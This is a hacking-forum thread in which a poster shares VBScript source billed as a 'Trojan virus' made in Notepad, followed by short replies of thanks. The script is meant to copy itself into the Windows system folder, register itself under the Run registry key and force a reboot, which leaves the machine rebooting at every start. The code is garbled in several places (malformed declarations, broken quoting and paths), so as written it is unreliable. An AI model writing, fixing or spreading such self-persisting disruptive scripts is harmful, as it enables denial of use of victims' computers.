Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


How to Make Trojan Virus Using Notepad

  • 1 Vote(s) - 5 Average


11-01-2013, 09:05 PM #1
KaMi HaXor Offline Any Help ContaCt *****
Respected
Posts:508 Threads:264 Joined:Feb 2013 Reputation: 23
Mood: Zombie
note the following copy all the source into notepad save as. vbs (if you want to activate)

if not let it remain in the file exstensi.txt


exampels: ippamd0_trojanHorse.VBS



Copy all the source below:

brakes - dlRB "DL Reboot" Trojan script by D.L.



On Error Resume Next

FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData



set FSobj = CreateObject ("Scripting.FileSystemObject")

set sysDir = FSobj.GetSpecialFolder (1)



createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB", sysDir & "\ dlRB.vbs"



sub createRegKey (regkey, regVal)

set regedit = CreateObject ("WScript.Shell")

regEdit.RegWrite regkey, regVal

end sub



set generateCopy = FSobj.CreateTextFile (sysDir + "\ dlRB.vbs")

generateCopy.close



set newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1)

setFile ()

fixedCode = replace (fileData, chr (94), "" "")



set procreateCopy = FSobj.OpenTextFile (sysDir + "\ dlRB.vbs", 2)

procreateCopy.write fixedCode

procreateCopy.close



rebootSystem ()



setFile function ()

fileData = "rem - ^ ^ by D.L. dlRB" & vbCrLf & _

"strComputer = ^. ^" & vbCrLf & _

"Set objWMIService = GetObject (winmgmts ^: ^ _" & vbCrLf & _

"& ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^)" & vbCrLf & _

"Set colOperatingSystems = objWMIService.ExecQuery _ '& vbCrLf & _

"(Select * from Win32_OperatingSystem ^ ^)" & vbCrLf & _

"For Each objOperatingSystem in colOperatingSystems" & vbCrLf & _

"ObjOperatingSystem.Reboot ()" & vbCrLf & _

"Next"

end function



rebootSystem function ()

strComputer = "."



Set objWMIService = GetObject ("winmgmts:" _

& "{ImpersonationLevel = impersonate, (Shutdown)}! \ \" & StrComputer & "\ root \ cimv2")



Set colOperatingSystems = objWMIService.ExecQuery _

("Select * from Win32_OperatingSystem")



For Each objOperatingSystem in colOperatingSystems

ObjOperatingSystem.Reboot ()

Next

end function



yes ... do not forget saved?

[Image: un7oYOs.png]
[Image: FL8ZXnw.gif]

12-16-2013, 11:12 PM #2
Int3rn0t Offline Member ***
Registered
Posts:55 Threads:2 Joined:Dec 2013 Reputation: 0
Mood: None
Thanx

12-17-2013, 03:27 AM #3
Dr41DeY Offline Madleets 2017 :) ***
TeaM MaDLeeTs
Posts:285 Threads:12 Joined:Sep 2013 Reputation: 0
Mood: None
Thanks, for sharing the code Kami! Biggrinsmiley
:p

Welcome back, Madleets 2017!


12-18-2013, 07:04 AM #4
Predator-Ma Offline Coder *****
MaDLeeTs LoVer
Posts:146 Threads:7 Joined:Dec 2013 Reputation: 0
Mood: None
WoW Man Nice Coding with C Biggrinsmiley

12-25-2013, 01:09 AM #5
cr4zy h4x0r Offline Junior Member **
Registered
Posts:28 Threads:1 Joined:Dec 2013 Reputation: 0
Mood: None
amazing bro .

:at:[Image: kfOxWL.jpg]

01-03-2014, 03:15 AM #6
1n0c3n7-h4x0r Offline M1Ck3Y H4X0R ***
TeaM MaDLeeTs
Posts:176 Threads:42 Joined:Jan 2014 Reputation: 4
Mood: Amazed
nicebro .


[Image: 1zqsokz.gif]


02-22-2014, 02:28 PM #7
just_the_beginning Offline Junior Member **
Registered
Posts:3 Threads:2 Joined:Feb 2014 Reputation: 0
Mood: None
can you explain step by step how this works
or recommended me any book to learn this






Forum Jump:


Users browsing this thread:1 Guest(s)